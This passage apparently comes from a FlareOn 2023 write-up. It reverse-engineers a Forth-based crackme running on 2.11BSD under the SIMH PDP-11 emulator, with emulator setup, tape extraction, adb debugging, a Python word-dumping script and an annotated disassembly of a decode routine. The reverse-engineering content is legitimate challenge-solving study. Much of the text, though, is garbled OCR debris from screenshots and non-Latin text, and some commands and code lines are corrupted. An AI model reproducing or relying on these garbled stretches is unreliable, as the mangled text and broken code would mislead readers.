instructions are readily available. But it's a long process with a lot of pitfalls and

| am not trying to give you _too _ much homework here. So  I'm including a ready -to-go
system along with a SIMH configuration file (SIMH is a very good emulator for many

systems, and it is easily available on most modern package managers). Just run " pdpll
mog.cfg ~ (or ~simh-pdpll , if your install is prefixed) a nd read the config file and

the manual to figure out how to boot from the disk. Hit enter once you're in the

bootloader, then once you're at the root prompt, hit Ctrl - D to finish booting into user

mode (otherwise your terminal will be funkier than you're used to).

FlareOn 2023
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dH H e « XI5 x 4 L Y



https://en.wikipedia.org/wiki/Forth_(programming_language)
https://en.wikipedia.org/wiki/Forth_(programming_language)
https://en.wikipedia.org/wiki/PDP-11_architecture
https://en.wikipedia.org/wiki/Advanced_Debugger

Of course, if you have a real PDP -11 with 2.11 BSD, you won't need to fool with an
emulator, but you will need to get the image onto a tape. Let me know if you need
that, | can write one out for you.

The root password is “Flar e-On .

You'll also need to mount the tape to tape drive TS0 and extract the executable.

There's a welcome message in the first file on the tape; just ‘cat/dev/irmtl2  toread
it. Beyond that, see the man page for "mt" and branch out from there!

Other no tes

The entire challenge, Forth engine and everything, is written in less than a thousand
lines of assembler (with macros, and with a significant amount of Forth code embedded
in the assembly). | hope you enjoy pulling it apart as much as | e njoyed writing it!

- Dave

LU BN B S L RN SIMH- x 1L x40 X [ Hxfu. vy s x ]

a ~ > > v Ve

X Uder moder boot: X _ | 1.4 % c@Bnfigt | X X «v X LXTLITXOG Yo X SE 4 X s

< v

PoYAXs s s 14 s T {4 v X5 xt@p@0l 4 tmount: X _ ] a1 " X X s

A

® 4 x * eXecutablet - -

xs_C:x”\lH-ss x(‘l-|xxs X . R s X 1L o« L s x X% , LY LY
tdpe drived: x 11 "x"IPDRPLIe * _ 1 _pye @ x 7 18 1x%s 1 T x J.
ol oS A e d s AXXE L x g xsy v 4 KIS AsTeyY b X X Do kx4

D X T xXey {7 X AT KD ] X

SAT A S LB X N s L f L XD Xy XX x| SSIMHe X 1L x
X " Tt spog.cfg xxs” & . « clnfigt . * % 4 4414 115+ €

; Make ita PDP - 11/44 with 2MB of RAM and an FPU (because 2.11BSD didn't have
; a working FPU emulator until 2006 (1)
set cpu 11/44 fpp 2m

; Disabl e some of the default devices we don't use.
set tm dis
set rpdis
set rxdis
set rkdis
set hk dis

: Enable the hard drive and attach it.
set rqen

set rqO ra80

attach rg0 mog.dsk

; Enable the TS11 tape controller and drive.
set tsen

; Normally we'd hav e this here, but I'm being mean and making you use the SIMH
; console so you know how to attach the tape later.
echo Enter "boot <disk>" to boot. Make sure to read the config file and manual!

FlareOn 2023
www.DigitalWhisper.co.il
do H e « XI5 x 4 L Y



https://github.com/open-simh/simh
https://youtu.be/H-uFzBDQQjw?t=162

ST echnoloqgic 1

111, x f¥g.dsk, * x aftachd~ _ * « x X T 1s 11 _ s 1} Isymog.cfg, * x «*

1o 4%y DXs x Fox s, oosg Y X 1 X X T X bl X JTsx ]y x
s.ox i s geblsems » X L FOMB - X K XS SRR K Kax eIk
¥ . Xs
attach  tsO forth.tap
NN L I S o SMH. X 1L X JH A S X P E X oS s X
¥ I x J >‘.°s-| ”NS'IT-E ]
pdpll.exe mog.cfg
Y 1 »msXe1 L X x4 s

11 S 17 x4 44 % 1 L x _Hdtes x I_AREADME.md * X.woXx 14 751, 1~ 1

v oodroot x_ o g sioux X 4" | pgimt 4, rud | 9 ¥ORIHD, x T 042 - S
YlareOn
BN Ch\Windows\System32iemd.exe - pdp1l.exe mog.cfg - O >

.11 BE
sms1@c

unting.

®x LXK H X A ST 1% X
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https://github.com/open-simh/simh/actions/runs/6432787282
https://github.com/open-simh/simh/actions/runs/6432787282

Technologic

FCRTH * 4 ¥ 7 |'s

~

X X« . Xsew Xslox (Dos {51 xisis x , 41 % | README.m@ . * x 4 _ |

cat /dev/rmtl12

Welcome to MoogleForth!

This may be an interesting challenge for you. The next file on this tape is an
executable Forth environ ment which contains a secret and the means for decoding
and decrypting that secret. You'll need Ken Thompson's password, which | trust

you'll be able to find. Beyond that, you'll need to figure out how the various

Forth words want their input, which will require some detective work on your
part.

You can solve this challenge with nothing but the tools available to you on a

standard 2.11BSD system, such as nm and adb (and if you're not familiar, you

should read their man pages). You may find it easier to use a more modern
disassembler, though you'll need to be able to extract the file from the tape

for that. And, of course, you need to know (or learn) how Forth works. On the

bright side, | did leave all the symbols in the executable for you, I'm not a

master.

The Forth environment is fairly stripped down, but where possible, I've tried
to conform to standard behaviors for all the standard words. You can find much
documentation for Forth 2012 online, with an excellent reference at:

http://lars.nocrew.o rg/forth2012/alpha.html
Some caveats:

- There's very little error checking here. You'll probably crash a lot if you

provide unexpected input (or fail to provide expected input). Sometimes,

especially if you underflow the stack, the interpreter can get confused.
You can always ctrl - C to quit if 'bye’ isn't working for you.

- I've basically implemented just enough of the words to build this challenge.
In particular, there's no compiler system, so you can't write your own colon
definitions. Sorry! There was only so much time.

- Some of the words are defined in assembly, most are defined as more Forth.
This may make disassembly interesting, but doable.

- ltis dark. You are likely to be eaten by a grue.

X " S X x dgBcutablgt 4 X XD I X IS X .y s i, X xx§ 1 x s X

Vo~ o~ v

dox e X TR i) X T

a secret and the means for decoding and decrypting that secret

T T oax v At g dx e f s . A . x ImBletoding and decrypting
®/g2-g4!~ 45 4 p X p ¥ % NAx 4]

¥ X QoS4 IRX 1Sy X s X xwxss { x "xTgiecutablet  ~. 1. 8 d 1

°

cat /dev/rmtl2 file_from_tape
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B Technoloqgic o

¥vod ¥ s XX Xes | sy " ]
file_from_tape: cannot execute

¥ edo ¥ xicfiles! x < vs4 4., ]X

file_from_tape: block compressed 12 bit code data

uncompress < file_from_tape forth
chmod +x forth

x X 4 ,xs"  «FORTH _ . _interpreter_ _ _s € X xfgpth _ * x s 4 .7siq ” |
d x .

FORTH | « «

Foe oo Si® T AT E NI T8 X" C ] xs* « {PORTH
S v L AN"Sp d v S AN P X 1. XspB$tfix notatiom « xS S _syntaxt { | L
T2 1 x 14 Dl HBEME 1~ | ¢ _»SX X 4TS 1e vt 8@ s 4«7 x

>

dPBbHS w1, X *HEX tss A0, T ~aXAd" WMy, o 18s o X v

> v v o~ > v ~v > v v o~

17 01X ursEes .« X094 sy e L1 4.7 st 4 T xsps i s

v S~ v e
. . X s

¥ooox X S LY DX % Xorthi 4" Lixg $ AT ]

> ~

Oh. ! AT A A H T L sARIE M ox A H I T s Tt | xS

b® L LR T 1., ! xStacke 4~ L SH T A s L4, 1 x s X fp A"

v o~ % ~ o~ ~ o~

T4l M X 4 €% BKBF: _ X §s_ vy xppx | . s T T _usx_ s ] x

v < v ~ o~ ~ v ~

starting.

e

MoogleForth starting. Stack:

B

MoogleForth starting. Stack:

=]

oA tdsS S xs {Ed L HYIS Ish, bt L v T T dAst X X Y7

N
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https://en.wikipedia.org/wiki/Stack-oriented_programming

B Technologic

Sl X0 X wirdshe 4 L% s . W X SR d L L "esey 48 s
(piv:..,,,SﬂL"VYV:)é.SX"JiL:Ivs”"XL X-|"\5~Q4Y::\.)|_”X\v~

TS XL B e X 40X x% 1y A g fsx sy 4 wordss L 1 _ S

v o~

BN C\Windows\System32\cmd.exe - pdpll.exe mog.cfg — O x
./forth

eForth starting. Stack: 3882

®ecret, decode, decrypt 1 v 4 _ ® ol 0 LF L L. xos xosxx0 ]

~ ~ > ~

~ ~ v ~

1Y, (s3> 0 7x A pHM  Tosd sl X AT
@od 447 XN cFH"X M o.s A 47 ) T 8% X s midupeddup
" 1% r 4. X447 mifiwo-duped2dup I
PTG 4 40 % L iy X x is] o XB " 15 %x D] 4 melkplusdcell+

@Ol HE xTsXx o 4 O PDRP11IL S » w0 7 ST wx tos
®:  esx Y .s 4 mdoty ®
D47 XL LTEIE O T, se DX Y 1 Xsx ] { mfetchd XY

PSS " 1L Sx L T X I 4T 1L %X L1 4. x| attype T

CD ¢ x , 1 S
HTHY 117 1. 011 &yl o *Sv 40 Secrets ¢ 4:,% 44~ _ _ |
BN C\Windows'\Systern32iemd.exe - pdpll.exe mog.cfg — O >

starting. Stack:

27

MoogleForth starting. Stack:
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http://lars.nocrew.org/forth2012/alpha.html

SRR N TP S S I PSR A I E N

BN C\Windows\System32\cmd.exe - pdpll.exe mog.cfg — O x

arti

Elu[_l cell+ ce
cead4e ok

C*secrefr X T L X MW G <547 ] Ss X« 414 ".s{*dgcodes d _ax X 7

Coefortht 4 7 Isculsiyxg X (IS x b4 T LIl T

B C\Windows\System32iemd.exe - pdpll.exe mog.cfg — O >
./forth

h starting. S

y fault - core dumped

o X 1] ds{LsS wX{s X, Ts{s . | XPoTse, X 1L %S, s L4 _sse . 7]

v ~ ~ > ~ ~ ~

@dbr _ ®ebuggert . _ - sE I x> ox{s yi&F | | x

ADBL [ . «

MRPT @ _o 1 UNIX: x |~ {1 X! "deébuggert - x &b~ x . ¥ “AHvanced Debugger
100 A es ox oW {14 XY B X 4 X x v . ¥ Sman paget - v X -~ ~LL_ X

o ~ ~

¥ x < ~s{. sforth, * X 8% 0 sy

> ~ ~

adb forth

Y % § 13 %5 x* % ,adh _syntaxt

[address] , count command
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https://www.unix.com/man-page/v7/1/adb/

Y s x ¢

x| x= Ss
“|_> L

®reakpoint: -~ |
X A% 4 X 4Ze d 4D e, | HS L& T HG x WX 1, s R

NI N S S
¥ I ox o ~.51 HT Hy x 1 4B 1 \-1Ivv,,“x1,s>-| X, X o Is sy %o oAl

~ v

2728 , 32 X

B C:\Windows\System32\cmd.exe - pdpll.exe mog.cfg - O *

# adb forth
a0 i

P A TS XX xS qle A e dsafbd o b AT . 58 T
e P IR A A, DX e s 4 Tk secretd o 1T X s

cx b A | w4 0X30% 4 4 THOX2E xTSXx < A K]S, ) n¥ A L4 A T s
x4, Axd kXX L8 xy {TX

v o~

S T I TR I 2 - R T T S o I

A~ o~ ~

d_ J, TExa Al A

DYS XX e Xos box (o ixom oy
@41 dvlis | b
®4ix1, %A% 4 4y, | mSr0=
b1 IxiLar
®@ingle stepts
@ontinuetrtc
®DPR11L s » S~ 45 décodes 1 « « 7 % xS T4l 47”0

~

PDR11L | « ~

He o XeSl M@ A T X M TMHG » X 1« + HPDRLIE X 11 S » X 1w 141~

CX @A Y e Sex ST HD s o x4l s i D xS v o xpi{ ]

v U~

hardware interruptst spo Stack Pointgk « *x®~ 1, + ¥ »r0r7+ St 4 -1, 1Y . s

~ v o~ v 5

~ 1PDR11: ~ x 1 « 1 {Stack Pointer 1 *{ 1 * 4 gdProgram Countgt « *r¥~ 1 , 4 Y ~ X
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https://en.wikipedia.org/wiki/PDP-11_architecture
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forth: 4 7 J4x @ 34 X« x $7 IsXx s r x _ ~fepth - {1 " l.x_Stack Pointer
(ONERNTNT IS P I e

|
>

SAIZ(”

Y5, 1, Aive.Xorth: 47 1% 4% 1o s x i yd* ¢x 4"

~

Bl C:\Windows\System32\cmd.exe - pdp1l.exe mog.cfg — O *
b forth

runnin
pogleForth

A

T e I B T o I B I O 1 - I I N SV BRI RS B
17 Iy s, 8" Nt S s . dedy AKSY”  1.0sx o hr SIE
ST 4! XX Jogy nxs4” 1 ,.8x o7 dxsrgd 40" Xx

-, 1 4 ¥ eed 1o x g ¥Ysh x X8 {0 349 W14 -1 folth: 4 7 | x

SS % 4SS b 4 XX A STHX s 4 1] AT ] ORT] Sesq L X L X

17 X e xS x e s 347y SDo X XS | L fswape | L

B C\Windows\System32icmd.exe - pdpll.exe mog.cfg - | ped
b forth
swap , 4 ? 1
: mowv
m

m

Y ¥ _ d@src, dst+ 1 PDR11t s | x <« _conventiomt 'd¥ o | pm xS 1
dx UK B s 4. X dEeferences | | {4 e YTXX A
postix: x ¥ s 5ok 4, p X 8D AN LSS T XS L wosTK cbX 1, X .
@: | _ prefix

® {1 xt _offsetrt - * x 'ddreference< _ _ x(register) x _ {9 s
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Y .« 8waps L 4 _tsx 4 4 x %7 ] s
WHd -0 D WrEx D X x sk 400w 1, 4 ¥t 47 .S 4 Ldy
17 018 XIS, 1w s X D A X4 " T 5 X . ise | LG
Bod” | Jvwe s xS XxUp 4] x
S XS x a3 4 _offsettt rEE 4T L 1X 0 1 AW X, Is* 4 la
G4 Jsiplih "

®c- 1. A ¥dt: 47 T xsx 4@

LS T E X I 4. s € XN ¢ 4" Joonventiom T 4 *Tsi 7Y ]

®4 4 Xrd.

~

B I A O

jorhyd, addreds™ s x I xx " s’ 1 X jubip to subroutinertjsre 41784 4 {4 p i sxITx o
S « Xss| x“n§§¢f|5x22 Jdrd . 1 4. Lk Ll 1Y%~ . 1x 981 x

®c- 1 . 4 ¥ address - " _ jxHx 1 -

>

Py s x eI L 4 x4 L s, X O X

a ~

Ll s, s 1 ksd .1 s, ., S XxdBdodes L As_ XL dACed Nsips. 1oL o]

¥od 3 xas

JAL X 4 R4V ST L X (HOGOE 4 oS X {akssT X s Los s
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Technologic

1" 1shgle step r 1 %, 1 -decodes . 1. breakpointr 1 » 1+ ¥: x <7 04”7

> wv A

Y x zero, tor, duprc X "rX4 CHAF S X

Bl C\Windows\System32\cmd.exe - pdpll.exe mog.cfg - O >

decode: jsr r4, docol

pc,_const

_const:

mow

tor+82: mowv

running
at du p: mow

Y<O” forth: * 4% L ” {0-docols 1 « « " X xsosg ] is & T4 sl ]

C:\Windows\System32\cmd.exe - pdp11.exe mog.cfg - O X
# adb forth

mov (rd)+,pc

S 2 ST PR 7 SR RN, S B I R R S T S O B TR L

~ ~ v

~ _ X gddcodes L 18 X X 5 rd4, docahi .~ 1T x IXsx I 441 4Y X

>

X IAdmdgd Jox x i X1 X2 deeodes 1 1jsi® -l x4, T o XX LB G

o e T A TR X DX B R X L syl 1T X x ]

v > > ~

s " x | <SIMHI x forth . * xives 4« k5 14 1 . xdécodes 1 « « 7 K _ XX s

~

1 ><xi§>{;sv.|>l®~_xforthbslx“i Xs ‘:‘_-|>5\.QX~AS|]X_|”,,|XqﬂL

o > a

~ °

P44 4 x0ge " x ] X xxi]x ¢ hexeditord X 1 « 18«4 =S (hékdump
Lo, s 0 » o xsduw 4 s 0 F X xT % L H{fdrthe _r ymboft @ ¢ T < L
§0 RS s X $ 0L Sew 4 wpforthhS | X o X F {4 % | x s X

)N IS SV

RS X - n
o x.,,st_Fﬁ_.\,xIx“)
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Technologic

YOS s X T X T s

def parse_symbols ():
result dict ()
data open("nm.txt" , “rt" ). readlines ()
line data:
offset, _, name line. split ()
resultf int (offset, 8)] name
result

print_words (forth_content , symbols, start name , start_address ):
offset_in_file 0x10
start_address offset_in_file
print (start_name
address start_address 4
True:
word_address int . from_bytes (forth_co ntent[address:address 2], byteorder ="big" )
word_address 0:

word_name = symbols[word_address]
word_name f"{start_name} _xt" :

prefix f" {start_name} +{address start_address}
word_name ["goto" , “if* ]:
destination_address int . from_bytes (forth_content[address 2:address +4],
byteorder ="big" )
destination_offset_in_word destination_address start_address offset_in_file
print (f"{prefix{word_name} {start_name} +{destination_offset_in_word} ")
address 4

brint (f " {prefix{word_name}
address 2

data open(“forth" , "rb" ). read()

symbols parse_symbols ()

decode_addr 00226

print_ words (data, symbols, "decode" , decode_addr)

X PQF TOX10L _T X w ke DTs Qforth | X X XX X ppfisixx X x X Jus

~ ~

LT, Bl U xT ) oxxe fed o T A B L X4 x s b1 »  Hmegotor 4L 1 X
Y xits 4. s

decode:
decode+4: zero
decode+6: tor
decode+8: dup
decode+10: if decode+
decode+14: swap
decode+16: dup
decode+18: cat
decode+20: rto
decode+22: plus
decode+24: twodup
decode+26: swap
decode+28: chang
decode+30: tor
decode+32: oneplus
decode+34: swap
decode+36: oneminus
decode+38: goto decode+ 8
decode+42: rdrop
decode+44: twodrop
decode+46: exit

LA s34 s A" 1 4. T« deeoded * 7 Skl oLk 3 X 8L
B N B IR Rk I S Y |
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decode: ; (argl, arg2)
decode+4: zero ; (argl, arg2,
decode+6: tor ; (argl, arg2) pop r5, push sp (sp holdspr ev_val, set prev_val =0)
decode+8: dup ; (argl, arg2, arg2)
decode+10: decode+42 ; (argl, arg2) (arg2 0) (arg2 loop counter)
decode+14: swap ; (arg2, argl)

decode+16: dup ; (arg2, argl, argl)

decode+18: cat ; (arg2, argl, argl) read one byte argl (argl a pointer)
decode+20: rto ; (arg2, argl, argl, prev_val) pop sp, push r5

decode+22: plus ; (arg2, argl, argl +prev_val)

decode+24: twodup ; (arg2, argl argl +prev_val, argl, argl +prev_val)

decode+26: swap ; (arg2, argl, argl +prev_val, argl +prev_val, argl)

decode+28: chang ; (arg2, argl, argl +prev_val) argl =*argl +prev_val

decode+30: tor ; (arg2, argl) pop r5, push sp (set prev_val =*argl +prev_val)
decode+32: oneplus ; (arg2, argl 1)

decode+34: swap ; (argl 1, arg2)

decode+36: oneminus  ; (argl 1,arg2 -1)

decode+38: goto decode 8 ;(argl +1,arg2 -1)

decode+42: rdrop ; (argl arg2, 0) pop

decode+44: twodrop 0

decode+46: exit ; ()

S oL X XSt D ovs T X{ T L8] L, osX S {7 Isse | X {decodes L 4 _ssi Y "7

= X w A4S . % 4 Isaww | X Xs™¢ v AdS L 1Sl 4X s X {5 dNL X
S AT X v AS L b T AE L Xx T T XE A . S 5 PR BT LV

S dpds, T Lde 8 xxs {1 X% 81, IEX _d X« X decode

Ydkhl o 08 <« &y v+ 8 | .~ s

a

Bl C:\Windows\System32icmd.exe - pdpl1l.exe mog.cfg — O x

17 s 8% is]{detodes L AT X _ v A4S LT IsyEXi_ | xewxgs. T X o os5X |6

'_
4

*woiogleretd L ST X W XS] 8 oc@i+s L4 Ss w tdx LS
dfétcho@s o 1 _ s
¥ 7 ix s ). $xldBcodes L 115, 4 3 de L dbrtr 4 0

BN C:\Windows\System3Z\cmd.exe - pdpl1l.exe mog.cfg - O X

~

b forth
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Technologic

¥ L x 3% sdEcrypts L 4. X%

dspac@)] x X Lis«s ., 4 € BBS | di « ~deerypts L 1 _ S

X s 13X x ,x10 x> parses 1 1 pdrses t 1w~ deerypts 1 17 $. 1« 1L

~ > ~

@IS S x L, B X ox L PN XD L {81 4 id8 .1 X

~

parses L 4 XS 4w s 4 A4Sy 4 X151 ANY AT T 4SS, Xk d v T a1 sy

~

b1 N, Is_ o _ss_.decrypts L X X Tp 44" X

Qor: L X, o TsEq s s .o sx" ] q{ s X

©vw oL 10X rotating xorx ST, L d0decrypte S« 4 YoXepSoo o X T 4 XS, X 4 .

(OJaE TN B -, S

~
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http://lars.nocrew.org/forth2012/core/BL.html
http://lars.nocrew.org/forth2012/core/PARSE.html








































































































































































































































































































































































































































































































































